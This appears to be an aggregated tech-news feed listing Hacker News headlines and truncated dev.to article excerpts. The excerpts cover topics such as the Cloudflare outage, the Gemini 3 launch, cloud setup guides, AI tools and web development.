    Mathematics and Computation (2019) [pdf]
    Comments  ( 238 min )
    Gemini 3 Pro Model Card
    Comments
    Cloudflare Global Network experiencing issues
    Comments  ( 17 min )
    Cloudflare Global Network experiencing issues
    Comments  ( 108 min )
    Typechecking is undecideable when 'type' is a type (1989) [pdf]
    Comments  ( 159 min )
    Gemini 3 Pro Model Card [pdf]
    Comments  ( 69 min )
    A 'small' vanilla Kubernetes install on NixOS
    Comments  ( 24 min )
    The Miracle of Wörgl
    Comments  ( 7 min )
    Okta's NextJS-0auth troubles
    Comments  ( 3 min )
    Take a Look the First Musical Robot
    Comments  ( 19 min )
    Don't blindly trust what AI tells you, says Google's Sundar Pichai
    Comments  ( 20 min )
    Comparing Android Alternatives: Lineage OS, ∕E∕OS, and Graphene OS
    Comments  ( 9 min )
    Event Sourcing in Go: From Zero to Production
    Comments  ( 10 min )
    How Quake.exe got its TCP/IP stack
    Comments  ( 8 min )
    Show HN: A subtly obvious e-paper room air monitor
    Comments  ( 3 min )
    Langfuse (YC W23) Hiring OSS Support Engineers in Berlin and SF
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    How to Debug a Node.js App on AWS ECS Fargate Using Port Forwarding (Step-by-Step Guide)
    At some point in their lives, every software engineer eventually faces the task of debugging an app live on a remote server. If that app happens to be running on ECS Fargate, getting into that container safely is possible, but not immediately obvious. Full disclosure: I haven’t done this exact thing before, but I have used the same port-forwarding trick to peek into our RDS instances via an ECS task acting as a jumpbox. So yes, I tested these instructions, and yes, they actually work. Here’s what we have: A Node.js app deployed to ECS Fargate Inside a private VPC subnet Without SSH access (Fargate doesn’t do that) VS Code (or some other IDE with Node.js inspector support) First, make sure your ECS task’s running Node.js process with the inspector enabled. This can be achieved by passing a …  ( 8 min )
    Agente de IA para Advogado Autônomo: Guia Definitivo para Transformar sua Rotina Jurídica
    O uso de um agente de IA para advogado autônomo deixou de ser tendência e passou a ser uma ferramenta indispensável para quem trabalha sozinho e precisa otimizar tempo, reduzir tarefas repetitivas e aumentar a produtividade. Logo nos primeiros usos, fica evidente como a automação inteligente impacta a rotina jurídica, permitindo que o profissional atue com mais precisão, agilidade e foco estratégico. Ao compreender como funcionam esses sistemas e como aplicá‑los no dia a dia, o advogado ganha uma vantagem competitiva enorme, especialmente em um mercado onde velocidade e qualidade de atendimento fazem toda a diferença. O agente de IA para advogado autônomo é um sistema capaz de analisar informações jurídicas, automatizar tarefas administrativas, organizar documentos e até auxiliar em pesqui…  ( 9 min )
    How to: Fix WebResources Layout in Dataverse Dashboards
    🤔 The problem If you ever managed to create a Dataverse Dashboard containing an HTML WebResource (e.g. to show some calculated KPI), by default the resulting UI is quite ugly: What I don't like: Each WebResource component has a surrounding black border I would like to get rid of The minimum vertical space that can be occupied by the WebResources row is 6 lines. Too much for my needs. For both points, the Dashboard editor doesn't provides any option to fix the problem: No option to remove the border And I cannot reduce the vertical space As usual, the solution is quite simple via small XML tweaking. Step 1. Create a new solution In my case I already had a "ribbon" solution ready to use, thus in the screenshots below you'll see that one. Step 2. Add the dashboard as the only component …  ( 7 min )
    Untitled
    Test: ¿Qué perfil STEM financiero tienes? .container { max-width: 900px; margin: 0 auto; background: white; border-radius: 15px; box-shadow: 0 10px 40px rgba(0, 0, 0, 0.3); overflow: hidden; } /* Sección 1: Bienvenida */ .bienvenida { background: linear-gradient(135deg, #1e3c72 0%, #2a5298 50%, #7e22ce 100%); color: white; padding: 50px 30px; text-align: center; } .bienvenida h1 { font-size: 2.8em; margin-bottom: 20px; text-shadow: 2px 2px 4px rgba(0, 0, 0, 0.3); } .bienvenida .objetivo { font-size: 1.2em; line-height: 1.8; opacity: 0.95; max-width: 700px; margin: 0 auto; background: rgba(255, 255, 255, 0.1); padding: 20px; border-radius: 10px; backdrop-fi…  ( 11 min )
    Criar Imagem com Inteligência Artificial Online: Guia Completo para Dominar a Arte Visual com IA
    A capacidade de criar imagem com inteligência artificial online transformou completamente a forma como designers, criadores de conteúdo, empreendedores e usuários comuns produzem imagens impressionantes em poucos segundos. Nos primeiros usos, já fica evidente que as plataformas modernas de IA conseguem entender descrições complexas, estilos artísticos, iluminação e até emoções, permitindo que qualquer pessoa gere visuais dignos de profissionais sem precisar dominar softwares avançados. Criar imagens com IA envolve modelos treinados com bilhões de dados visuais que aprendem padrões estéticos, formas, composições e estilos. Quando alguém decide criar imagem com inteligência artificial online, a plataforma interpreta o texto digitado e converte essa descrição em pixels organizados de forma co…  ( 9 min )
    RAG Will Never Be the Same After Gemini File Search Tool
    Last week I heard bad news, and life hit me hard again. Moments like that remind me how fragile everything is — how one day we all leave, and even love can feel temporary. In the middle of all this, I saw a post on X saying Gemini’s File Search Tool makes RAG super easy and is being offered at a really reasonable cost. I don’t know why, but something about it pushed me to try it Google announced the File Search Tool, a fully managed search Augmentation generation (RAG) system built directly into the Gemini API. Previously, to build a RAG, you had to choose a vector database, develop a chunking strategy, call an embedding model, and tie everything together. The file search tool handles all of that automatically behind the API. These were major barriers for companies wanting to introduce AI,…  ( 12 min )
    Programmatic SEO: How to Scale 10,000+ Landing Pages Without Destroying Your Domain
    Let me guess: someone in a meeting said "Why don't we just create a page for every possible keyword combination?" and here you are, Googling whether this is genius or career suicide. The answer is yes. Programmatic SEO—generating thousands of landing pages using templates and data—can work spectacularly well. Zillow has millions of pages. Tripadvisor has millions more. Nomad List built an entire business model on it. But for every success story, there are dozens of sites that got slapped with manual actions or simply created 50,000 pages that nobody visits and Google doesn't care about. I've watched companies generate 100,000 pages in a weekend and celebrate. Then watched them scramble to delete 90,000 of them three months later when traffic never materialized and their crawl budget implod…  ( 12 min )
    Eleven Labs AI em Português: Guia Definitivo para Dominar Vozes Realistas com IA
    A evolução das ferramentas de voz sintetizada mudou drasticamente a forma como criadores de conteúdo, empreendedores e profissionais de atendimento se comunicam digitalmente. Entre essas tecnologias, eleven labs ai em português se tornou uma solução extremamente procurada por quem deseja criar áudios naturais, envolventes e com entonação semelhante à de um ser humano real. Logo nos primeiros testes, muitos usuários percebem que a plataforma ultrapassa os limites da simples conversão de texto em fala e oferece recursos avançados que transformam a produção de conteúdo em áudio. O Eleven Labs surgiu como uma tecnologia revolucionária focada em sintetizar vozes cada vez mais naturais. Quando o suporte para eleven labs ai em português foi implementado, criadores brasileiros passaram a explorar …  ( 9 min )
    Why Cursor and Replit Represent Two Paths in AI Development
    AI-powered coding tools are evolving fast, and choosing the right workflow is becoming a real architectural decision, not just a convenience choice. What’s the practical difference between building with Cursor vs Replit? Both are strong tools, but they solve different problems in an AI-driven development stack. Here’s a quick breakdown for anyone evaluating their next AI coding setup. Replit shines when: You want zero-setup cloud environments You need to spin up ideas quickly You prefer a collaborative, browser-based space It's all about speed, accessibility, and low friction, great for prototypes, students, or fast experimentation. Cursor focuses on: Working inside your local workflow Giving you full control over your code and environment Keeping your development private and customizable It's a strong option for engineering teams that want AI copilots with local context, version control, and security. So… Cloud Speed or Local Control? This is the trade-off many teams are navigating today. And honestly, the “right choice” has more to do with your workflow than with the tools themselves. To make this comparison easier to digest, we put together a short visual breakdown that highlights the core differences. Have you used either tool in your day-to-day work?  ( 6 min )
    Gemini 3 Is Here: Google's Bold Leap into the Agentic AI Era
    Today marks a massive milestone in AI: Google has officially released Gemini 3, kicking off what the company is calling "the Gemini 3 era." Announced just hours ago by Demis Hassabis (CEO of Google DeepMind) and the latest flagship model from Google DeepMind is now rolling out across the Gemini app, Google Search's AI Mode, Vertex AI, and more. If you've been waiting for Google to go all-in on next-level reasoning, multimodality, and agentic capabilities — this is it. Gemini 3 isn't just an incremental update — it's built from the ground up for a world where AI doesn't just answer questions but brings ideas to life. Google describes it as their most intelligent model yet, combining breakthrough reasoning with native multimodal understanding (text, images, video, audio, and code) and powerf…  ( 8 min )
    Great breakdown. What hit me today is that nothing was attacked — one internal mistake took huge parts of the internet down. That’s how fragile centralization is. If teams don’t build real multi-provider fallbacks, this will keep happening.
    When a Single Company Can Break the Internet RIVAL ・ Nov 18 #cloudflare #currentevents #outage #cloud  ( 6 min )
    Como Calcular ROI Real da Portabilidade de Energia: Planilha e Percentuais 2025
    Como Calcular ROI Real da Portabilidade de Energia: Planilha e Percentuais 2025 Você já se perguntou se vale realmente a pena migrar para o mercado livre de energia? Com promessas de economia de até 40%, é natural querer entender os números reais por trás da portabilidade de energia. A boa notícia é que calcular o ROI (Retorno sobre Investimento) da portabilidade não é complicado — e pode revelar uma economia significativa no seu orçamento. Segundo dados da CCEE, o mercado livre deve atingir 70% de penetração entre consumidores elegíveis até 2026, impulsionado principalmente pela economia real que oferece. Mas como saber se você faz parte dos que podem se beneficiar? E mais importante: como calcular exatamente quanto você pode economizar? Neste guia completo, vou te mostrar como criar su…  ( 11 min )
    Jeff Su: Master 80% of Notion with this ONE Feature
    Master your Notion in minutes by using the Relations feature to link your scattered databases—no more digging through endless pages of tasks, notes, and projects. This quick walkthrough shows why most setups break down, how to connect tables with Relations, and how to build self-filtering templates that automatically organize new entries. You’ll get a step-by-step example (both manual and automated), complete with timestamps, a free duplicatable template, links to a full Command Center course, plus bonus gear and productivity resources to level up your workflow. Watch on YouTube  ( 6 min )
    Ringer Movies: ‘Weird Science’ With Bill Simmons and Kyle Brandt | Ringer Movies
    ‘Weird Science’ Rewatch Bill Simmons and Kyle Brandt dive into John Hughes’s 1985 teen comedy, unpacking the wild premise—two nerdy teens who accidentally create the perfect woman—and the film’s mix of sex, drugs, rock ’n’ roll (plus chips, dips, chains and whips). With Anthony Michael Hall, Kelly LeBrock and Ilan Mitchell-Smith leading the charge, they riff on the movie’s greatest moments, its ’80s vibe and why it still holds up as a cult classic. Behind the Mic This episode of Ringer Movies’ Rewatchables is produced by Craig Horlbeck, Chia Hao Tat and Eduardo Ocampo, and—true to form—serves up a healthy dose of nostalgia, humor and insider trivia. Whether you’re a die-hard Hughes fan or just in it for the ’80s antics, Bill and Kyle make this episode a blast from the past. Watch on YouTube  ( 6 min )
    New pricing model for CloudFront
    AWS just released a new pricing model for CloudFront. Now you can pay a fixed price. As most of you know, calculating the cost in AWS can be hard, especially on resources where traffic is the cost driver (like CloudFront). So this change will make it a lot easier. So how will this work then? There will be different plans with varying costs that include CloudFront and other services in the pricing. You will select the plan you want when deploying your CloudFront Distribution. For current distributions, you can “migrate” them to the plan of your choice by selecting to switch to a plan for your distribution in the console (right now, the console is the only place to set plans). If the current deployment configuration matches what the plan provides, you will be able to use that plan. The dif…  ( 9 min )
    Creating Storage Account for Finance Department's shared file
    In every project, the first thing is to create a Resource Group Storage Account, Create a Storage Account for any Department share file, but in this article, I will use the Finance Department Step 1 storage account and hit enter, and choose the storage account that is grayed out Step 2 + Create Step 3 resource group section and click create new, but if there is an existing resource group, click the drop-down arrow and select and click ok Step 4 storage account name section and type a name in the bar. Remember the naming convention that it must be globally unique, choose a Region as usual, and for Performance, choose Premium, for premium account type select file share, and for redundancy, select zone redundant storage, and review + create Step 5 create Step 6 Go to Resource Steps on …  ( 7 min )
    ¿Qué WMS se adapta mejor a bodegas en Chile?
    Muchas bodegas en Chile han invertido en sistemas de gestión que, con el tiempo, se quedan cortos frente al aumento de referencias, ubicaciones o complejidad en los flujos logísticos. Cuando el software no crece al mismo ritmo que la operación, se generan cuellos de botella, errores en inventario y sobrecostos difíciles de controlar. Un software de gestión de bodegas (WMS) adaptable permite que la operación evolucione sin fricciones, respondiendo a nuevas demandas sin perder trazabilidad ni eficiencia. Un software para bodegas diseñado para escalar debe permitir ajustar reglas, tareas y capacidades sin requerir desarrollos complejos. Esto se traduce en continuidad operativa y control total sobre procesos como recepción, almacenamiento, reabastecimiento y despacho. Entre los aspectos más …  ( 7 min )
    LinkedIn's Algorithm Stopped Rewarding Pretty Slides (And Started Rewarding Actual Thinking)
    Remember when everyone and their marketing intern was churning out carousel posts? Slide 1: "Here's the problem." Slide 2-9: Generic advice you could find anywhere. Slide 10: "Follow me for more." Well, LinkedIn finally noticed. Between July and October 2025, data from multiple analytics platforms shows that text-based "knowledge posts" are outperforming carousel content by an average of 340% in terms of meaningful engagement (comments, shares, and profile visits—not just mindless likes). Some accounts are seeing even wider gaps. This isn't a minor tweak. This is LinkedIn fundamentally rewiring what it considers valuable content. LinkedIn rolled out what they're calling the "Knowledge Graph Update" in three waves starting in June 2025. They didn't announce it with fanfare because, well, t…  ( 13 min )
    In this article, I dive into Next.js Route Groups — what they are, how they work, and why they can make your app structure cleaner and more maintainable. I also cover some practical tips, common pitfalls, and layout strategies you can start using today.
    Why You Should Start Using Next.js Route Groups Edema Ero ・ Nov 18 #nextjsroutegroups #nextjsapprouter #nextjslayouts #nextjsroutingbestpractices  ( 6 min )
    When a Single Company Can Break the Internet
    Today’s Cloudflare outage didn’t stem from a DDoS attack — it came from inside Cloudflare’s own control plane, a configuration propagation failure. This configuration failure cascaded across the internet and took down thousands of sites, apps, and services in minutes. And that’s exactly why developers should be worried. If this were an attack, we could at least point to an external threat, bad actor, or a vulnerability. But when a single internal error at a single provider can break huge portions of the internet, it exposes a deeper architectural issue: extreme infrastructure centralization. The modern internet runs on a tiny group of hyperscalers and edge networks like Cloudflare, AWS, Google, Meta, Fastly, and Akamai. They power everything from DNS and CDNs to authentication, caching, ro…  ( 7 min )
    Kicking Off 2026: Unlocking World Cup Secrets
    As the FIFA World Cup 2026 draws near, football enthusiasts are abuzz with excitement and anticipation. The quadrennial spectacle promises to be a thrilling ride, with a plethora of talented national teams vying for the coveted title. A recent article by Sports Illustrated ranked the top 10 favorites to win the tournament. Let's delve into the list, exploring each team's strengths, weaknesses, and prospects. Brazil tops the list as a favorite, and it's hard to argue against their credentials. With an arsenal of skilled players like Neymar, Alisson, and Richarlison, they possess a formidable attacking force. However, their defensive vulnerabilities have been exposed in recent tournaments. Argentina's Lionel Messi is a once-in-a-generation talent, but the team's overall depth remains a conce…  ( 7 min )
    Setting Up NestJS with Prisma (Without the Headache )
    Starting a project with NestJS and Prisma should be easy, right? They’re both popular technologies and a great match. There are even official articles (1)(2) explaining how to integrate them. Wrong. For some reason, those articles are outdated. So here I am, writing this guide to save you a serious headache when setting up your project. 💡 I’ll be using pnpm for this project, but feel free to use any package manager you prefer. You’ll be prompted to choose a package manager. Select pnpm if you want to follow this guide without changes. Otherwise, adapt as needed. 💡 At the time of writing, the latest version of @nestjs/cli appears to have a bug, so I'm using an older version. This may have been resolved by the time you're reading. pnpm dlx @nestjs/cli@11.0.0 new nestjs-prisma-test Create …  ( 7 min )
    The January Ghost Town: 7 Email Sequences That Keep December Buyers Coming Back
    Here's the pattern every ecommerce marketer knows: December hits, revenue spikes, champagne flows. January arrives, and those eager holiday shoppers? Gone. Vanished. Like they never existed. You acquired them at premium CPAs during the most competitive shopping season of the year. They bought once, maybe twice. Then silence. The real money isn't in that first December purchase. It's in February, May, and September when they come back without you spending another dollar on acquisition. But that only happens if you actually have a plan for the week after they buy. Most brands don't. They send a shipping confirmation, maybe a review request, then... nothing until the next promotional blast. Which gets ignored because there's no relationship there. Let's fix that. December customers aren't you…  ( 12 min )
    Building a Privacy-First Financial Analysis PWA with Blazor WebAssembly + On-Device AI (Gemini Nano)
    Free, offline-capable, multi-language financial statement analysis for Ukrainian businesses - powered 100% in the browser (no servers, no API keys). Live Demo: https://whitewaw.github.io/Assessment-of-Ukrainian-financial-statements/ GitHub Repo: https://github.com/whitewAw/Assessment-of-Ukrainian-financial-statements Small and medium businesses in Ukraine (and anywhere) often need quick insights from their balance sheet and income statement without sending data to third-party services or paying SaaS fees. I wanted: Zero back-end infrastructure Professional-grade ratio analysis and multi-year comparison Installable PWA with offline mode Strict privacy: data never leaves the browser AI assistance without OpenAI keys or billing surprises Blazor WebAssembly + Chrome's built-in Gemini Nano mad…  ( 9 min )
    How GitHub Copilot Uses MCP Tools Behind the Scenes
    Before we dive into the details, here is the video version of this article if you prefer to watch it first and then come back here for a slower, written walkthrough. If you prefer to read, you can safely skip it and continue with the examples below. Let's begin with an easy example to make things concrete. You open a new chat and ask Copilot a simple but very practical question: "is there any pull request waiting for me?" After a brief pause and some behind-the-scenes magic, Copilot replies with the exact list of pull requests that need your attention. No manual search, no switching tabs. In the rest of this article, we'll unpack what actually happened behind the scenes. In this article, we'll look at how that "magic" of MCP Tools really works, using the GitHub MCP server as an exampl…  ( 9 min )
    Antigravity IDE: the next generation of AI-powered code editors
    Antigravity IDE: the next generation of AI-powered code editors Artificial intelligence has transformed how we write, learn, and now, how we code. If VS Code symbolized the modern era of development, Antigravity IDE represents the next frontier: an environment capable of understanding the developer, anticipating intentions, and collaborating proactively in software creation. The concept of Antigravity doesn’t come from an actual Google tool but from a metaphor — the idea of rising above current limitations. In Python, import antigravity was a humorous nod to the absurd and brilliant nature of programming. In this new context, Antigravity becomes a vision of AI-augmented development, where the editor stops being a passive canvas and evolves into an intelligent partner. Antigravity IDE wou…  ( 7 min )
    Antigravity IDE: la nueva generación de editores impulsados por IA
    Antigravity IDE: la nueva generación de editores impulsados por IA La inteligencia artificial ha cambiado la forma en que escribimos, aprendemos y ahora también, cómo programamos. Si VS Code fue el símbolo del desarrollo moderno, Antigravity IDE representa la siguiente frontera: un entorno capaz de comprender al desarrollador, anticipar sus intenciones y colaborar en la creación de software de forma proactiva. El concepto Antigravity no surge de una herramienta real de Google, sino de una metáfora: la capacidad de elevarse por encima de las limitaciones actuales. En Python, import antigravity era una broma sobre lo absurdo y genial del código. En este nuevo contexto, Antigravity se convierte en una visión de desarrollo aumentado por IA, donde el editor deja de ser un espacio pasivo para …  ( 7 min )
    Setting up Kiro for Godot(MCP server)
    Part 1 — MCP server: turn your docs into a local resource Why do this? If you let Kiro read your local Godot docs via an MCP filesystem server, your assistant will: Use the exact docs for the engine version you downloaded (no hallucinations). Work offline and fast (no network latency). Require minimal CPU/RAM on your machine (indexing is small or optional). This guide covers the MCP server portion — turning your downloaded HTML/MD files into a resource Kiro can query. Later parts of this post will add Kiro agent hooks and steering (placeholders are left for those sections). GodotEngine Docs Scroll down and click Stable (or Latest) to download the documentation — expect a ~300–400 MB zip. Extract it to a folder you control (for example Documents), and rename the top-lev…  ( 7 min )
    Introducing Codebox: an open-source tool for remote development workspaces (beta)
    Hey everyone! In the last few years, I’ve been working as a software developer mainly in remote environments (mostly with Docker based workspaces), so I’ve come into contact with many workspace provisioners. I really like this way to work, everything is reproducible and problems due to the development environment are minimized. On the other hand many workspace provisioners that I’ve tried are very difficult to use and the defining the structure of workspace is not quite easy and sometimes it takes a long time to learn and this is not ideal for small teams. So a question came to mind: why this provisioners don’t use standard tools and formats to define the structure of a workspace? That idea eventually became Codebox, a side project that has now reached its first open-source beta. In this a…  ( 8 min )
    CinemaSins: Everything Wrong With The Wiz In 15 Minutes Or Less
    Everything Wrong With The Wiz In 15 Minutes Or Less CinemaSins is back on the yellow brick road, using the buzz around Wicked’s theatre return to rip apart 1978’s The Wiz—slicing through every plot hole, oddball moment, and “sin” in just 15 minutes. Wanna dig deeper? Check out all their channels (TVSins, CommercialSins, CinemaSins Podcast), hit up their site or Linktree for the latest, join the sinful poll, and consider supporting the team on Patreon. Plus, they’re everywhere—Discord, Reddit, Instagram, TikTok and more! Watch on YouTube  ( 6 min )
    amazing!!
    No OAuth Required: An MCP Client For AWS IAM Dennis Traub for AWS ・ Nov 18 #ai #agents #mcp #aws  ( 5 min )
    Create and configure a storage account for Azure Files.
    Create and configure a storage account for Azure Files. In this applied skills exercise, I will demonstrate how to create a step by step guide in creating an Azure storage account with a *globally unique name. storage account for the finance department’s shared files. Learn more about storage accounts for. portal, search for and select *Storage accounts. Step 2. Add a directory to the file share for the finance department. For future testing, upload a file. + Add directory. Browse and then select the *finance directory. + Add snapshot. The comment is optional. *Select OK. file share. Browse to your file directory. uploaded file and in the Properties, pane select *Delete. Select Yes to confirm the deletion. Snapshots blade and then select your snapshot. restore, *Configure restricting storage access to selected virtual networks. Virtual networks. vnetlab01 Go to resource. Subnets blade. subnet. Microsoft.Storage in the Services drop-down. Save your changes. storage account should only be accessed from the *virtual network you just created Security + networking section, select the *Networking blade. In the *Virtual networks section, select *Add existing virtual network. Be sure to ****Save your changes. Select the *Storage browser and navigate to your *file share. #Virtualization #RDP #CloudComputing #Techblog #ITInfrasttructure #MS #AZURE #VirtualMachine #Innovation #Technologytrend #AZURE # AZUREBLOB #DEVOPS VMWARE #HYPER-V #DevCommunity #Tech #CoachRaphaelGab-Momoh #Skill.Sch #SSLAB #LinkedInTechCommunity  ( 8 min )
    Understanding AWS Storage & Recovery Services: A Complete Guide
    When operating in the cloud, data storage and recovery are among the most crucial components. Amazon Web Services (AWS) offers a comprehensive array of services designed to meet various storage requirements, ranging from basic object storage to fully managed file systems, hybrid storage, and disaster recovery solutions. In this blog, we’ll explore key AWS services like AMI, S3, EBS, EFS, AWS Backup their purpose, use cases, and when to choose which. Let’s understand what is AMI. So, AMI Amazon Machine Image is an a pre-configured template used to create your EC2 instance. It contains the operating system, application server, and applications required to launch an instance. Instead of manually configuring each instance, you can use an AMI Amazon Machine Image to launch a server with all th…  ( 10 min )
    Coding Challenge Practice - Question 59
    The task is to compress repeating letters with count number given a string. The boilerplate code: function compress(str) { // your code here } If it's not a string, return "" if(!str) return ""; Start from the beginning of the string, and look at each character one by one. Keep a counter that tracks how many times the current character repeats consecutively. let result = ""; let count = 1; If the next character is the same as the current one, increase the counter for(let i=1; i 1) result += count count = 1; } The final code function compress(str) { // your code here if(!str) return ""; let result = ""; let count = 1; for(let i=1; i 1) result += count count = 1; } } return result; That's all folks!  ( 6 min )
    Starting My Build in Public Journey: CookTale & Nutpost
    Why I'm Done Building in Silence Hey Dev.to community! 👋 I'm a full-stack developer who's been building in the shadows for too long. Today that changes. For the past several months, I've been developing two products: CookTale 🍳 - A recipe discovery and sharing platform Built with Next.js, TypeScript, Prisma Features: Recipe search, user-generated content, collections Status: ~80% complete, getting ready for beta Nutpost 📮 - A cross-platform social media scheduler Tech stack: Next.js, Node.js, MongoDB Multi-platform posting (Twitter, LinkedIn, Instagram, etc.) Status: MVP done, actively using it myself (including for this post!) I've been building both of these products in complete silence. No tweets, no updates, no community involvement. Classic developer move, right? But here's wha…  ( 7 min )
    Arctic Sentinel: AI Native ISR Dashboard
    Smarter Detection, Human Clarity: This modular, AI-native ISR dashboard doesn’t just surface anomalies—it interprets them. By combining C++ sentiment parsing, environmental signal analysis, and OpenCV-powered anomaly detection across satellite and infrastructure data, it delivers real-time insights that feel intuitive, transparent, and actionable. Whether you’re monitoring defense operations or assessing critical infrastructure, the experience is designed to resonate with analysts and decision-makers alike. Under the hood, it’s powered by RS256-encrypted telemetry and scalable data pipelines. With sub-2-second latency, 99.9% dashboard uptime, and adaptive thresholds that recalibrate with operational volatility, it safeguards every decision while keeping the experience smooth and responsive. The dashboard integrates Matplotlib-driven 3D visualization layers to render terrain, vulnerabilities, and risk forecasts. Narrative overlays guide users through predictive graphs enriched with sentiment parsing, achieving a 35% drop in false positives, 50% faster triage, and 80% comprehension in stakeholder briefings. This isn’t just a detection engine—it’s a reimagined ISR experience. The concept behind this modular ISR prototype isn’t limited to military or security contexts. It’s designed to bring a human approach to strategic insight across industries — from climate resilience and infrastructure monitoring to civic tech and public safety. If the idea sparks something for you, I’d love to share more, and if you’re interested, you can even contribute to the prototype. https://ben854719.github.io/ Project: https://github.com/ben854719/Arctic-Sentinel-AI-Native-ISR-Dashboard/tree/main  ( 6 min )
    Why I Built a Gamified Pomodoro Timer with React (And Why It Works)
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    [Boost]
    Inside Amazon EKS: Understanding Its Core Architecture On-cloud7 ・ Nov 18 #aws #eks #cloudcomputing #docker  ( 5 min )
    Inside Amazon EKS: Understanding Its Core Architecture
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    IA para criar música eletrônica grátis: guia completo para produzir sem pagar nada
    Utilizar ia para criar música eletrônica grátis se tornou uma das maneiras mais simples e acessíveis de começar a produzir faixas eletrônicas. Já no primeiro contato, fica claro como a inteligência artificial remove barreiras técnicas e dá liberdade criativa para quem deseja explorar sons, ritmos e atmosferas sem precisar investir em softwares pagos. As plataformas atuais conseguem gerar melodias, percussões, harmonia, timbres e até efeitos completos, permitindo que qualquer pessoa transforme uma ideia inicial em música de verdade. A inteligência artificial analisa padrões musicais, identifica características de estilos eletrônicos e aprende como produtores constroem suas faixas. Dessa forma, ela consegue sugerir elementos coerentes com gêneros como house, techno, EDM, dubstep ou trance, t…  ( 8 min )
    A Modern Data Governance Framework for Google Cloud: Implementing Just-Enough and Just-in-Time Access
    Table of Contents The Risk of Standing Permissions and the Principle of Just-Enough Access (JEA) Foundation for JEA: Automated Data Discovery and Classification Applying Tag-Based Access Control with IAM Conditions Applying Column-Level Controls with Dynamic Data Masking Automating JIT Approvals for Operational Efficiency Securing Machine Identities with Just-in-Time Access Balancing Security and Utility: A Modern Data Governance Strategy Recently, I encountered a question that illustrates the fundamental trade-off between security and utility inherent in most system designs. As data has become a critical and integrated part of business operations, a robust data platform is designed to ensure reliability, accuracy, and effective data governance. This immediately raises a critical que…  ( 11 min )
    Why Identity Threat Detection & Response (ITDR) Is Becoming Essential in Modern Security
    Identity is at the center of almost every cyberattack today. Why Traditional Security Misses Identity-Based Attacks Most organizations have strong endpoint tools, network firewalls, and SIEM solutions. A stolen session token A compromised admin account A misconfigured SaaS app A shared credential A bypassed MFA flow And with that, they walk through the front door often undetected. What Exactly Is ITDR? Identity Threat Detection & Response (ITDR) is a modern security discipline focused on detecting, investigating, and responding to threats that involve identity systems like IAM, SSO, and SaaS applications. Monitoring authentication behavior Detecting anomalous logins Tracking privilege escalation events Monitoring access policy changes Correlating identity events across apps Responding to c…  ( 8 min )
    Cracking the Medical Coding Challenge: Fine-Tuning BioBERT for ICD-10 Classification (Part 1)
    The Problem That Keeps Medical Coders Up at Night Imagine you're processing disability claims for veterans. Each claim contains dense medical documentation—thousands of characters describing symptoms, diagnoses, and treatment history. Your job? Extract the correct ICD-10 diagnostic codes from this narrative. Miss a code, and a veteran might not receive the benefits they've earned. Add an incorrect code, and you've created compliance issues. Now imagine doing this hundreds of times per day, under pressure, with 158+ possible diagnosis codes to remember. This is exactly the type of problem that makes medical coding both critically important and incredibly challenging. And it's the perfect use case for Natural Language Processing (NLP). But here's the catch: training an AI to do this isn't …  ( 14 min )
    ⭐ HTML Input Types (With Examples)
    When building forms in HTML, the element is one of the most important building blocks. HTML5 introduced many useful input types that help improve user experience, validation, and accessibility. In this article, you’ll learn every input type in HTML, along with simple descriptions and examples you can copy-paste into your projects. 🔤 1. Text-Based Input Types 1. text — Single line text 2. password — Hides characters 3. email — Validates email format 4. number — Numeric input with min/max 5. tel — For phone numbers 6. url — URL input with validation <i…  ( 7 min )
    Distributed Pub/Sub in Spring Boot Without the Headache
    You're building a chat room. Or a notification system. Or anything that needs to broadcast messages to multiple subscribers. Five minutes in, you're already knee-deep in managing collections of actor references, handling subscription lifecycles, and wondering why this simple concept requires so much plumbing. The publish-subscribe pattern solves this elegantly—when it's done right. But implementing distributed pub/sub from scratch means dealing with cluster coordination, message routing, and subscriber cleanup. Not exactly a fun afternoon. This is why spring-boot-starter-actor includes a topic feature that gives you distributed pub/sub with three lines of code. Here's the manual approach most people start with: @Component public class ChatRoomActor { private final Set…  ( 9 min )
    Web Development: On the Size and Output of and the Growth Opportunities Within the Field
    The field of web development is huge. Everyone in it knows that. A lot happens in our field, too. Web development is a field of constant change. You can literally watch the web platform grow. In this vast sea of change, we change, too. We acquire new knowledge, we adapt to evolving practices, we gain more experience. As actors in the field, we all have a sense for the size and output of and our growth within the field. You don’t need me to tell where you stand in relation to it. However, in my work I’m very close to some of the indicators of just how big the field is, how much it puts out, and how we change as part of it. The Web Development Glossary—fundamentally a book, but also a website—is the largest collection of terms and concepts related to our field. The upcoming new edition of th…  ( 7 min )
    Mastering Modern Tech: Practical Advanced Tips for Everyday Users
    As people continue to upgrade to smarter and faster devices, many choose to Sell Phone models they no longer use to make room for better technology. With rapid innovation shaping daily digital habits, knowing how to navigate advanced tools can greatly improve convenience, productivity, and overall device performance. Software updates introduce new features, fix vulnerabilities, and enhance system stability. Enabling automatic updates for apps and operating systems ensures your device is always running at its best without needing constant manual checks. Advanced technology also means advanced threats. Using a VPN on public Wi-Fi networks, activating two-factor authentication, and reviewing app permissions regularly can prevent unauthorized access and safeguard sensitive data. Most modern de…  ( 7 min )
    The Psychology Behind Why Your Customers Actually Buy (And Why You're Probably Getting It Wrong)
    Here's something that'll mess with your head: 95% of purchasing decisions happen subconsciously. Your customers think they're being rational, weighing features and benefits like good little economists. They're not. They're making gut-level decisions based on psychological triggers that have been hardwired into human brains for thousands of years, then reverse-engineering logical justifications afterward. And if you're still writing product descriptions like you're filling out a spec sheet, you're missing the entire game. I've spent the better part of a decade watching companies throw money at marketing campaigns that ignore basic human psychology, then act surprised when their "objectively superior product" loses to a competitor with worse features and better storytelling. The thing is, ma…  ( 13 min )
    Best Algorithmic Trading Platforms for Beginners in 2025
    When I first dipped my toes into the world of algorithmic trading, I was overwhelmed by complex jargon, endless code, and the sheer number of platforms out there. I wanted to automate my investing and test real trading ideas-but I didn’t want a computer science degree to get started. That kicked off my quest to find platforms that actually make algorithmic trading accessible for beginners like me. Note: This piece was written with artificial intelligence support and may reference projects I'm affiliated with. So I spent the last few months testing a stack of platforms hands-on, with a single goal: find the ones that truly take the pain and confusion out of automated trading for newcomers. Some of these tools impressed me with their simplicity. Others stood out for making strategy creation…  ( 13 min )
    Solving the 'resource_func' Mystery: How I Made Ballerina's Compiler More User-Friendly
